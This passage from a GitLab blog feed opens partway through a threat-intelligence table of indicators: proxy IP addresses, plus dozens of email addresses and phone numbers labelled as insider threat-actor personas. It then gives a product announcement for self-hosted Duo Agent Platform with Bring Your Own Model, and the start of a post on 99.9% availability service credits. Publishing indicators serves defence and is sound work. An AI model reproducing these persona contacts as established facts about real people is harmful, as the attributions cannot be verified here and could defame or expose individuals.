align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">54.37.207.54</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">57.128.201.50</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">61.198.87.1</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">64.92.82.58</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">64.92.82.59</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">67.43.227.226</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">67.43.227.227</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">67.43.228.253</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">67.43.236.19</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">67.43.236.20</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">72.10.160.171</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">72.10.160.92</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">72.10.164.178</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">74.255.219.229</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">82.180.146.116</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">94.23.153.15</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">95.182.97.53</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">ryan.service.1001@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">3</td></tr><tr><td align="left"><code className="">dmbdev800@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">3</td></tr><tr><td align="left"><code className="">kari.dev1217@gmail</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">3</td></tr><tr><td align="left"><code className="">iamjanus66@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">3</td></tr><tr><td align="left"><code className="">4696382784</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">3</td></tr><tr><td align="left"><code className="">brianyoung.luck@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">brianyoung0203@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">codingwork.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">jinwangdev531@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">gdavisiv.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">nicolas.edgardo1028@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexeilucky23@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">aleksey0753@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">develop498@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">4899432@qq.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">karsonova1703@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">maximmironenkoreact@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">vitalyandronuke@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexeysamsonofff@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">realnitii1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">devnitin18@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexiyevaj@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">initinbhardwaj@yahoo.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">anna.putinarus@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">rajukumar127.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">kekisevu@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">anastasiaanufriyenko@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">naterongi@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">andriimalyshenko@yahoo.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">gabrygreg1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">luckydev2289@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">forfuture21@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">darbylee923@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexei.lee0203@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">yuriassasin0603@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">luis.lee.tech@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">bryanjsmiranda@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">luislee.software@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">panda95718@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">givometeq@mentonit.net</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">maradanod.favomubo@vintomaper.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">humblechoice.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">jairoalberto2208@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">quxiujun520520@163.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">igorslobodyan508@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">brianyoung.lucky@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">valerykrapiv@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">dveretenov@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">blbnlambert34@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">tezauidev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">nicewitali0311@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">shopstar0907@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">rl6700907@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">naterongi1@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexeu005@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">versatile.skydev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">kevinhelan2@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">cglobalpower923002@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">albertchess990919@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">lorenzo.vidal@mail.ru</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">stolic5star@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">nkvasic5star@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">freelancer.honest.developer@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">viana.mabel3058@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">jairo.business392@yahoo.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">jairoacosta00123@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">ferwerwe6@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">maskymlap@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">alexsam.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">kostiaberez369@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">darkrut22@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">jennalolly93@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">vikram.imenso@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">greg.work.pro@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">denish.faldu226@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">janeica.dev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mdmahdiuli@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">aronnokunjo@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">hadiulislam391@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mahdi39980@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mahdiupwork2002@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mdmahdiul@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">wildbotgamer@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">tramendo.L@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">dyadkovdevelop@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">tramendo.M@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">Gulfdom0209@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">Wei861420@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">brianyoung0203@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">david@heyadev.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">mykytadanylchenko@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">ronaldofanclub112@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">olegevgen@inbox.lt</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona email</td><td align="left">4</td></tr><tr><td align="left"><code className="">15414257086</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">89883507137</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">14358179097</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">3508704464</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">4796004206</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr><tr><td align="left"><code className="">5596103595</code></td><td align="left">phone number</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Threat actor persona phone number</td><td align="left">4</td></tr></tbody></table><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Oliver Smith</name>
            <uri>https://about.gitlab.com/blog/authors/oliver-smith/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Agentic AI, enterprise control: Self-hosted Duo Agent Platform and BYOM]]></title>
        <id>https://about.gitlab.com/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/</id>
        <link href="https://about.gitlab.com/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For organizations in regulated industries, the path to AI-powered automation comes with hard constraints. Data residency, vendor control, and governance aren&#39;t negotiable, and many organizations have already made significant investments in their own models with rigorous approval processes governing how and where those models operate.</p><p>With <a href="https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/" rel="">GitLab 18.9</a>, we are delivering two capabilities that close a critical strategic gap for these enterprise customers, transforming <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> into a deployment-ready, governable AI control plane for the strictest regulatory environments.</p><h2 id="gitlab-duo-agent-platform-self-hosted-for-online-cloud-licenses">GitLab Duo Agent Platform Self-Hosted for Online Cloud Licenses</h2><p>With GitLab Duo Agent Platform, engineering teams create AI-powered flows that automate sequences of tasks, from refactoring services and hardening CI/CD pipelines to triaging vulnerabilities. To date, using GitLab Duo Agent Platform in production with self-hosted models was primarily aligned with offline or add-on licensing paths, not designed for online cloud license customers operating under strict regulations.</p><p>Now generally available, <a href="https://docs.gitlab.com/subscriptions/subscription-add-ons/#gitlab-duo-agent-platform-self-hosted" rel="">Self-Hosted for Online Cloud Licenses</a> introduces a usage-based billing model powered by <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/" rel="">GitLab Credits</a>. This approach provides the transparent and predictable metering that enterprises require for trust and internal chargeback.</p><ul><li><strong>Data residency and control</strong>: You can now run GitLab Duo Agent Platform in production on online cloud licenses while using models you host on your own infrastructure or approved cloud environments. This gives you control over where models run and how inference traffic is routed within your approved environments.</li><li><strong>Cost transparency and chargeback</strong>: Gain granular cost transparency through GitLab Credits and per-request metering, which is essential for accurate internal chargeback and meeting regulatory reporting standards.</li><li><strong>Adoption acceleration</strong>: Removes a significant deployment blocker for adopting agentic AI in sectors like financial services, government, and critical infrastructure, where routing data through external AI vendors is simply not an option.
GitLab 18.9 makes Duo Agent Platform a first-class deployment for online cloud licenses.</li></ul><h2 id="bring-your-own-model">Bring Your Own Model</h2><p>Self-hosting the orchestration layer is only half the story. Many regulated customers have already invested heavily in their own models: domain-tuned LLMs, in-region or air-gapped deployments for data sovereignty, and closed-source, internal models built for their specific risk posture.</p><p><strong>Bring Your Own Model</strong> extends the flexibility of GitLab Duo Agent Platform, allowing administrators to connect third-party or self-hosted models via the <a href="https://docs.gitlab.com/administration/gitlab_duo/gateway/" rel="">GitLab AI Gateway</a>. This ensures customers retain model choice and control.</p><ul><li><strong>Integration and governance</strong>: BYOM models appear alongside GitLab-managed models within GitLab’s AI control plane, allowing Duo Agent Platform to treat them as enterprise-ready options.</li><li><strong>Granular mapping</strong>: Once registered through the AI Gateway, models can be mapped to specific Duo Agent Platform flows or features, giving you fine-grained control over which agents and flows use which models.
Admins maintain responsibility for model validation, performance, and risk evaluation. You own compatibility, performance, and risk evaluation for the models you bring.</li></ul><p>Together, these capabilities give enterprise engineering leaders comprehensive control over agentic AI. The result is a single, governed control plane for agentic AI, replacing the fragmented mix of point solutions and unmanaged AI tools that many engineering organizations rely on today. It&#39;s the combination regulated organizations have been asking for: model freedom plus strong governance, inside the same DevSecOps platform you already trust.</p><blockquote><p>Want to try GitLab Duo Agent Platform? <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Contact us or sign up for a free trial today</a>.</p></blockquote><hr /><p><em>This blog post contains &quot;forward‑looking statements&quot; within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in these statements are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to differ materially. Further information on these risks and other factors is included under the caption &quot;Risk Factors&quot; in our filings with the SEC. We do not undertake any obligation to update or revise these statements after the date of this blog post, except as required by law.</em></p>]]></content>
        <author>
            <name>Rebecca Carter</name>
            <uri>https://about.gitlab.com/blog/authors/rebecca-carter/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab backs 99.9% availability with service credits for Ultimate customers]]></title>
        <id>https://about.gitlab.com/blog/gitlab-backs-99-9-availability-with-service-credits-for-ultimate-customers/</id>
        <link href="https://about.gitlab.com/blog/gitlab-backs-99-9-availability-with-service-credits-for-ultimate-customers/"/>
        <updated>2026-02-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab now backs its 99.9% availability commitment with service credits for Ultimate customers on GitLab.com and GitLab Dedicated. When monthly availability falls below this threshold, eligible customers receive credits toward future invoices. This commitment ensures your DevSecOps workflows have the reliability they need.</p><h2 id="we-value-your-trust">We value your trust</h2><p>Modern software delivery operates at a velocity where teams push code, open merge requests, and track issues continuously throughout the day. Git operations — push, pull, clone — happen thousands of times per hour across distributed teams. When any of these core experiences become unavailable, your entire software delivery workflow stops.</p><p>The 99.9% availability service-level agreement (SLA) ensures your accelerated development pace doesn&#39;t hit infrastructure walls. Service credits demonstrate our accountability — tying our success to platform reliability and aligning our interests with yours. We hold ourselves accountable to your business outcomes, not just availability targets.</p><p>GitLab&#39;s SLA commitment covers the core platform services essential to your DevSecOps workflows.</p><p>At launch, the covered experiences are:</p><p>* Issues and merge requests<br />
* Git operations (push, pull, clone via HTTPS and SSH)<br />
* Container Registry operations<br />
* Package Registry operations<br />
